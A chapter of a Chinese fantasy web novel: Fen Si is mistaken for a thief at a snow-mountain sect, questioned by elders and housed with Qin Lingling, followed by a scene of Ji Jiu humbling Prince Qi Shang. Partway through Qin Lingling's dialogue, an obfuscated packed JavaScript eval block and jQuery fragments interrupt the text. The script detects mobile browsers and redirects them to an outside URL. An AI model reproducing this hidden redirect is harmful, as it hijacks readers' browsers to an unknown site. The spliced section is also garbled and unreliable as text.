四周是层峦叠嶂的巍峨雪山，上弦月高悬夜空，半隐在山巅积雪身后，月色和满天星光映射入潭，明镜般的水面浮着星辰，水天相接的光景让人醉陷。


    焚姒呆立在湖边草地上，望着天上裂开的一道暗长，那里聚集着斑斓的紫和金，无数闪烁汇集成璀璨星河，弥漫出银白的光辉。


    “阿嚏！”


    嘶——好冷。


    这是哪？她不是在藏卫阁的地室……睡着了？梦游？好像是做了个梦，什么梦来着？


    身后传来悉悉簌簌的混乱脚步声，在此良辰美景尤为刺耳。一群穿着素色长衫的人朝这边走来，停在离焚姒一丈开外的地方，防备地盯着她。


    他们观察着周围的动静，其中一位看起来就精明的术习者睥睨道：


    “喂！你为何在此？方才可有看到一束白光？”


    白光……


    对了，古籍呢？


    焚姒四下张望搜寻草丛。


    “你在干什么？”


    焚姒头也不抬：“找应竹的古籍。”


    她故意提了应竹的名字，以为对面的人会加入找书行列，没想到他们听了毫无反应，反而提高音量：


    “休要装傻！快说，那道白光是不是你干的！”


    “别跟她废话了，先抓起来！”


    “我看此人言行举止颇为怪异，”有人注意到焚姒衣衫单薄不是宗院的样式，大喊：“她不是宗院的人！”


    七八个人瞬间起诀，如临大敌。


    焚姒立马举起双手：“别冲动别冲动！有话好好说！”


    “好你个窃贼，竟敢自己送上门来，诸位，她孤身一人肯定不是我们的对手！这次可不能再让她跑了！”


    “等一下，这其中一定有误会！”焚姒后退道，“我与各位素未谋面，远日无冤近日无仇，你们是不是认错人了？”


    “废话少说！动手！”


    “哼！等到了长老面前，看你还敢不敢嘴硬！”


    说完，数道法术落在焚姒身上，汇集成一巨型彩色泡泡圈。看起来柔软，实则十分坚硬，绝无逃跑的可能。焚姒有一脑袋问题想问，可是泡泡圈隔声极好，她听不见外面，外面也听不见她。


    “……”这是还在梦里吗？


    * * * * * *


    焚姒几乎是被泡泡圈背推着来到一处空地。


    前方有两尊三米高的冰柱突兀立在路中间，上面刻有密密麻麻的奇怪符纹。走在前面的几个术习者低声念了什么咒语，那些符纹竟开始游动起来，冰柱顿时爆发出耀眼的金光一左一右包围住众人，眨眼功夫，众人出现在山顶的宗院神殿大门前。


    还没等焚姒从刚才的瞬移缓过来，又被推着走进神殿。里面空空荡荡一个人也没有，一术习者走上前，对着前面的墙恭敬叙述山下经过。


    过了一会儿，整个墙开始变透明直至消失，更大的空间展现出来，三位年龄参差不齐的长老围着烟雾缭绕的香炉盘坐在三个方向，一动不动。


    众人撤去泡泡圈法术，推搡看呆的焚姒往里走。


    室内充斥着末药和安息香的味道，神圣而孤寂，自带压迫感的焚香生硬霸道，盖住了若有若无的苦涩药味。


    左侧的大块头长老面色不善，右侧中年发福的长老闭着眼睛静静打坐，中间胡子花白的病怏怏长老掩在香炉升起的白烟后，看不清面貌。


    胡子花白长老轻咳几声，问：“你叫什么，怎么进来的？”


    焚姒把路上想到的说辞和盘托出：“在下焚姒，本是要去青巽院拜师修炼术法，没想到半路遇到土匪，他们抢了我的盘缠还想将我发卖去北边，我趁他们不注意逃了出来，到这实在太累就睡着了，然后，就被抓上来了。”


    大块头长老显然不信，咆哮道：“放屁！离贡宗的结界固若金汤，连只苍蝇都休想飞进来！你这窃贼满口胡言乱语，以为随意编造个青巽院就能唬得了我？说！你的同伙是谁？潜入离贡宗有何企图！”


    白烟被巨响震碎，众人感觉耳朵快要流出血来。


    先前叙述的那名术习者快步上前，和三个长老低声说了什么。


    圆润长老睁开一只眼瞟了眼焚姒，继续闭目养神，慢条斯理道：“那人身形高壮，江湖人士，确非此人。然兹事体大，在失窃一事查清楚前，任何人不得离开宗院，暂时留下吧。”


    胡子花白长老咳了一声，哑声道：“明燊留下，其他人都回去，此事我们自有打算，你们都别插手了，咳咳。”


    大块头长老不耐烦地转过头，看焚姒微瞪着眼偷偷打量大殿的模样，活像个乡下来的丫头进城，冷哼一声：“野丫头！”


    明燊便是先前叙述的术习者，他飞快看了眼焚姒，颔首走到长老面前。


    * * * * * *


    众人如退潮般迅速离开神殿，出了神殿，一个个揉着耳朵，看来也被大块头长老的大嗓音伤得不轻。


    寒风呼啸，焚姒忍不住打了个喷嚏。


    几名术习者互相交流个眼神，围过来七嘴八舌道：


    “方才可有吓着姑娘？你叫……粉丝是吧？有意思！你爹娘肯定很喜欢粉丝咯？实不相瞒，我也喜欢，哈哈！听姑娘口音不像是本地人，不知粉姑娘家住何方？一个人来此拜师吗？”


    “粉姑娘你别害怕，我们几个平日里都是极好说话的人！前些时候宗院失窃，大家都想捉住窃贼替长老分忧，方才也是瞧见白光划过，追过去就看到你，也不能怪我们多想是吧！”


    “在下先替大家给粉姑娘赔礼道歉，粉姑娘你冷不冷？要不要去我那坐坐，喝杯热茶暖和一下？”


    “哧！陈茶烂茶也好意思拿出来说，粉姑娘，我那有上好的龙井和糕点，今早刚遣人从江南雅仙楼送过来，你没尝过吧？我请你吃怎么样！”


    “喝茶？噗，你们安的什么心思？”


    “你又来放什么屁，假正经！”


    「聒噪」


    要是师兄在就好了，他主意多，这些麻烦轻轻松松就能摆平。


    比如那次她和师姐下山采买，路上遇到其他宗院的术习者非要死皮赖脸跟着，自诩是护花使者，一路上叽叽喳喳吵个不停，师姐脸皮薄不知怎么拒绝，直接气哭了。


    她那时年纪小，又是个菜鸟，人家根本不搭理她。


    幸好遇到了偷溜下山的师兄，那些术习者看着比师兄大出四五岁，法术却连他一根手指头都比不上，最后全数落荒而逃，边跑边骂师兄是失心疯。


    ……


    “你们围在这里做什么？”明燊从神殿出来，“夜深了，都没听见重明长老的话吗？”


    “没听见重明长老的话么～”有人用阴阳怪气的语调学他说话，嘲笑道：“天天重明长老长重明长老短的，还当自己是真传弟子咧？”


    “你懂什么？半年的真传弟子也是真传弟子，半年的太子也是太子，你们说对不？废太子他也是太子啊。”


    明燊仿若没听见，镇定走到焚姒身边，递给她一件外袍，语气柔和，“焚姒姑娘，时起长老让我带你去住的地方。”


    “多谢。”


    “请。”明燊指了指左前方，示意她先走。


    焚姒朝那边走，听到身后明燊和其他人说明日有晨修，迟到者抄心诀百遍，众人不满地咿咿呀呀。


    走出去没多远，明燊默默从背后赶上，与她并排而行。


    * * * * * *


    两人来到和刚才一模一样的冰柱前，明燊施法催动上面的符文。金光散去，他们出现在另一座山的半山腰，面前是一排嵌入山体的玄色木门。


    “这里是起辰山，宗院弟子的居所，”明燊指着不远处的高峰，“那是离贡山，我们方才就在上面。”


    他收手的同时掩嘴清了清嗓子，眼神飘忽不定，“长老和师尊们都在主峰离贡山，焚姒姑娘要当心，若再被误会……就更说不清楚了。”


    “我晓得了。”


    他们走到尽头一扇门，门的顶部刻着工工整整的【玖柒园】几个大字，门上全是密密麻麻的符文。


    “此处是女园，长老已传术知会，焚姒姑娘进去后直接找秦泠泠，有什么不明白的地方可以问她。”


    明燊从怀中掏出块木牌递过去，“这几日长老们还会找焚姑娘问话，你对这里尚不熟悉，最好不要随意出门走动，山上风大雪寒，以免冻坏身子。”


    “明白。”焚姒接过木牌，“谢谢你明燊。”


    明燊的脸一下子红了，“你……保重。”说罢扭头就走。


    焚姒望着匆忙的背影消失在冰柱前，心想他怎么和师姐一样脸皮薄，夸一句就脸红。


    她掂了掂木牌，对上门上的凹槽，咔嚓一声，厚重的木门打开了一条缝隙。


    ……


    和外面的冰天雪地不同，里面是寻常的夏末夜晚，沉闷且燥热。正对着大门的假山上趴着只懒洋洋的黑猫，躺在石灯下浅浅的银色瓷盆里，轻晃尾巴，驱赶痴迷火光的小虫。


    绕过假山，环着池塘路过一段散发着桂花香的石子小道，来到灯火通明的房廊。池塘中央有座木亭，上面有七八个女子就着虫鸣声在交谈，声音断断续续的听不真切。


    “——哎！你来啦！”


    一女子远远大喊，从房廊前的曲折小径跑过来，“哇！你生得好白啊！一看就不是咱们宗院的人，难怪他们说你是贼人！”


    “谢谢，我找秦泠泠。”


    女子高高壮壮，皮肤比小麦色还深上一些，五官生得舒展大气，精神面貌却不太好。布满血丝的眼睛下是重重的黑眼圈，手里摊着本像砖块一样厚的书，上面全是古怪的符文。


    “我听他们说是时起长老叫你留下来？”女子急迫道。


    “谁？”


    “时—起—长—老，就是那个最圆、最胖、眉毛粗粗的、眼睛弯弯的长老，见到了吗？！”


    “应该是见到了。”


    “他看起来高不高兴？”


    “呃，还行？”


    “笑了吗？”


    “好像……”


    “是皮笑肉不笑那种笑，还是肉笑皮不笑那种笑？”


    焚姒努力回想了一下，“是……呃，笑而不语？“


    “呜呼哀哉！完啦！完啦！”女子的声音陡然拔高，仰天大笑，“不学啦哈哈哈！大不了一死！”


    她将书重重一合，搭上焚姒的肩膀，“告诉你个好消息，你呀，找对人了！我就是秦泠泠，你的事呢我都知道了，吃饭了吗？没吃吗？走走走，吃饭去！”


    “……”


    * * * * * *


    “你真的不是贼人？”


    焚姒艰难咽下嘴里的馄饨，“不是。”


    “你别误会啊，我没别的意思，”秦泠泠摆摆手，忍不住好奇道：“快告诉我你怎么做到的？”


    “做到什么？”


    “结界呀，离贡宗的结界可是天下至坚，就算魔神来了都进不来！”秦泠泠兴奋不已，“告诉我吧？我保证、我发誓！绝对不跟任何人说！”


    “魔神？”焚姒捕捉到重点，“何为魔神？”


    秦泠泠惊讶地张大嘴巴：“你不知道魔神？”


    “不知。”焚姒老实回答，“我从前住在荒山野岭，这是第一次出山洞。”


    “难怪，我跟你说，魔神就是——”


    “秦泠泠！”门外突然传来声音，“有人找你！”


    “谁啊？”秦泠泠说完就想起了是什么事，急忙对焚姒说，“你先吃，我去去就来！”


    说罢夺门而出。


    ……


    “都快亥时了，你也太慢了吧？”


    “没办法，我那人多眼杂，得等人都睡下才能溜出来。干这种事总得避着点人啊，你以为我就不想早点出来么？明天还有课业嘞！”


    秦泠泠压低声音：“东西带来没？”


    那人左顾右盼，迅速从怀里掏出一本册子塞给秦泠泠，小声道：“在这，这批可都是好货！你瞧瞧！”


    秦泠泠翻开扫了一眼，瞬间眉开眼笑。她将册子塞进怀里，取下腰间沉甸甸的钱袋，数也不数交给对方，“下回还有这种好东西，记得还要找我哦！”


    那人掂了掂重量，笑道：“没问题，秦大小姐放心，包在我身上了！哦对了，我这还有个消息附赠，你听吗？”


    “快说快说！”


    那人眯起眼睛，故弄玄虚道：“知道凌君长老下山去做什么吗？”


    “不是说去炎丹宗交流术法心得吗？哎呀，快别藏着掖着了，还有什么你快说呀！”


    “莫急莫急，这不是正要说嘛。”那人凑近秦泠泠，用只有两人才能听见的声音说，“我听说就在前不久，时起长老卜算到神器现世东南方，那不就是交州方向吗？我想凌君长老此行假借交流术法，实则，是去寻找神器！”


    “啊？！八字真言是真的？那神器到底是什么东西？厉害吗？”


    “当然了！”那人说，“你知道吗？邃教的人也去了交州，听说在找一件可吸纳万物的宝贝，得此宝物可号令群雄！”


    “哇！！！”


    “嘘！小点声、小点声！”那人说，“今天和你说这事千万不能告诉别人啊！我怀疑、只是我怀疑哈，咱们可能是奉了圣上之命，不能让神器落入邃教之手！”


    “此话当真？！”秦泠泠一手捂住胸口，一手抓住对方的肩膀，“那凌君长老要孤身一人对付整个邃教？天姥姥！太厉害了！她简直是神啊！”


    “可不是嘛，要我说就该凌君长老当掌门。重明长老都病了七八年，若能早点将掌门之位让出来，先掌门的仇早就报了，怎会拖到现在，你说对吧？”


    “莫非……重明长老想让白半神继任当掌门？！”


    “天姥姥！人间炼狱！”


    那人惊恐后退，不愿再听下去，“时候不早了，我先回去了！今日之事千万不能往外说啊！切记切记！”


    秦泠泠也不禁打了个冷颤，被自己的想法吓到，拍了拍胸口安慰自己莫须有莫须有。


    * * * * * *


    秦泠泠返回时焚姒已经吃完了饭，趴在桌子上睡着了。她轻手轻脚走过去，抓着对方的肩膀轻轻摇晃，“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054972|162878||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    醒醒，醒醒。”


    焚姒睡眼惺忪地看着秦泠泠，一时间没反应过来这是谁。


    “怎么在这睡着了？我带你回房间睡，”秦泠泠说，“走吧！”


    两人穿过房廊，来到一排分布得紧凑的房门前，秦泠泠大手一挥，豪气道：


    “从这里到这里，任君挑选！你知道吗？原本一个院要住三十人，不过咱们这是最后一个，可以住得宽敞些！”


    焚姒随手指了一扇门。


    秦泠泠凑近她调侃道：“你有一些孤僻哟，住那么偏多寂寞呀？其实我旁边这间也很不错，里面的布置虽没什么特别，但住这你可以有个特别的邻居！”


    住哪都一样，反正待不久。


    焚姒应好，跟着秦泠泠进到房间。


    里面的空间很大，大门附近的木桌上放着一套衣服，旁边放着本《入宗指南》。


    “这是宗院统一的衣物，穿上之后不惧山上寒气侵体，别的宗院没这本事，可不敢在雪山建宗。”


    秦泠泠拿起《入宗指南》递给焚姒，“一些常用的术语和注意事项都写在里面，你得尽快记熟，否则哪都去不了。”


    焚姒见自己身上的衣服不是统一的样式，低头在袖口处的内层看见一个“燊”字。


    是他的？焚姒脱下外衣放在桌上。


    “好，我知道了。请问住宿费用多少，该如何结算？”


    秦泠泠瞪大眼睛，眨巴几下，像是听见了什么天方夜谭，“你在说什么呀？不要钱！宗院的吃穿用度皆由百姓自愿供奉，这里什么都不缺，要钱做什么？呵啊——天色不早了，有什么问题明天再说吧！”


    秦泠泠打着呵欠向门口走去，走到一半停下，“对了，还没问你叫什么名字？”


    “焚姒。”


    “哪两个字？”


    焚姒一愣，别人听到她的名字从来都只会说一声奇怪，还没有人认真询问过这个问题。


    “林火焚，女以姒。”


    “噢……火、女……”秦泠泠笑道，“那我们还真有缘，我叫秦泠泠，是火灵术习者，以后你就叫我泠泠吧！阿姒，我能叫你阿姒吗？”


    “嗯。”


    * * * * * *


    今日早些时候，就在焚姒沉浸走马观花时，青巽院前山发生了一件大事。


    连续几天的暴雨导致山上涨水，前山群地势低，弟子寝院被淹，众弟子忙着收拾被褥衣物，以免被浊水泡坏沾染疫病。其中齐尚所在的寝院尤其热闹，这里面都是康王府来的家丁，以及珍贵的名家字画和摆件，还有许多梨花村买的东西。


    下人们东奔西走抢救宝贝，齐尚坐在门廊下和几名跟班笑话他们狼狈模样。但他不知道，自己很快就笑不出来了。


    那晚季糾见完北黎，翌日便抓了个人严刑拷打，知道了事情的来龙去脉，雨随怒降。他去找齐尚，可对方连着几天逃学不在宗院，直到今日才回来。


    ……


    季糾施法破门而入，冷笑着扫视一圈院内众人，抬手将雨滴化冰石，接着一顿霹雳乓啷，所有字画和摆件都摔在泥水地里，房屋亦是千疮百孔。


    “放肆！”齐尚一怒而起，“何人胆敢在本王地盘撒野？”


    “小王爷，这么快就不记得我了？”季糾冷笑一声，手里化出冰锥，“拜师大会季某送了一份大礼，是否别有滋味啊？”


    “原来是你！”齐尚骂道，“大胆刁民竟敢谋害本王，来人啊，给我拿下！”


    护卫们手持兵器冲上来。


    季糾抬起另只手，施法将雨水凝成水柱攀绕家丁身上，略一攥手把人紧紧锁住，同时另只手里的冰锥裂成数道飞出去，尖刃对准齐尚和跟班的眉心，稍一推手就能贯穿脑袋。


    几名跟班被这阵仗吓得直哆嗦。


    天姥姥，竟敢锥指小王爷！这这这、这还有王法吗？


    早就听说咱们这位大魔头连玉皇大帝都不放在眼里，亵渎神明其罪昭昭，目空一切的态度跟应竹师尊是一模一样。高岭之花虽傲却懒，懒得理会懒得计较。可大魔头不一样，你还不知道自己怎么招惹到他，有可能只是路过，也会先挨上一巴掌！


    上次拜师大会有初阶术习者不知怎么惹着他了，那日以后天天以泪洗面，足足哭了一个月，眼睛肿得跟核桃似的，都快成俩人干了！


    齐尚只惊恐了一瞬，自信对面不敢乱来，出言讥讽道：“知道这里有多少御赐之物吗？青巽弟子藐视王权，本王看你们是活得不耐烦了。哼，钱财本是身外之物，可是对圣上不敬，死罪当诛。”


    他握住面前的冰锥，使劲将其整个捏碎，顺手在旁边跟班身上抹净水渍，“待你人头落地，本王正好拿来做对杯盏，与黎妃把酒言欢，至于那菜鸟和不识好歹的应竹，就叫他们下黄泉陪你罢！”


    说完他转动金扳指——此物乃康王府传家之宝，是康王从某位云游仙人那花重金买来，据说里面藏有上古神力。他来宗院前多次向爹索要，爹却说“府上所有东西都可拿去，除了这个”，他“顺”出来后从未使过，今日就让这不知天高地厚的贱民瞧瞧上古神力的威力！


    ……


    “季某有一事想求小王爷应允。”


    “哼，现在求饶，晚了！”


    “求饶？不，季某是艳羡，听说康王府有钱有势，光是下人就有几百个。啧，季某想求小王爷纳我为妃，只要给足银两我不介意断袖哟～”


    “疯子！”齐尚此刻终于忍不住失态，厉声大骂，“敢戏耍本王，本王要你死无葬身之地！”


    “疯？当然疯，不疯怎么配得上小王爷呢？嗯？”


    “找死！！”


    齐尚双手捏诀，调动扳指的力量将灵力逼出化作金龙，金龙直冲云霄，在雨中盘旋嘶鸣，光芒大涨。


    霁蓝水雾状的薄纱披在季糾身上，给他整个人蒙上一层仙气飘飘的光环——焚姒若见到师兄这幅模样，便不会只觉青铜剑招摇了，这位人形水晶糕更是香艳夺目。


    雨势渐小，金龙猛然朝季糾俯冲，一声深渊巨吼后，张口将人吞下了。


    下一瞬，水雾击碎金龙的灵体，金龙溃散，只听“咔哧”一声，金扳指碎成两半。


    “……怎么可能！”


    “拿个破石头当宝贝，小王爷该不会是瞎了吧？”季糾往侧边让出大门，“涨水了小王爷，当心啊？”


    像是为了应验他的话，泥石流从山上滚下来，冲开房屋直奔院子而来。


    家丁们被水柱钉在半空动弹不得，跟班站得远，手急眼快往旁边奔走，最终只有齐尚卷入泥石流，瞬间不见人影。


    泥石流冲出大门，汇入主道更大的洪流之中，一路沿着山路往下狂奔。


    ……


    深夜，城外某竹苑。


    应竹盘坐在草席上，半截身子虚无缥缈，彷若鬼魅。


    “唔……”他捂住胸口，双眼一紧，脸色发白几乎透明。


    果然还是太勉强。


    他垂眸看着手心若隐若现的阵法，在心中默默盘算时间。


    「不足两年」


    他赌，赌一切皆有变数。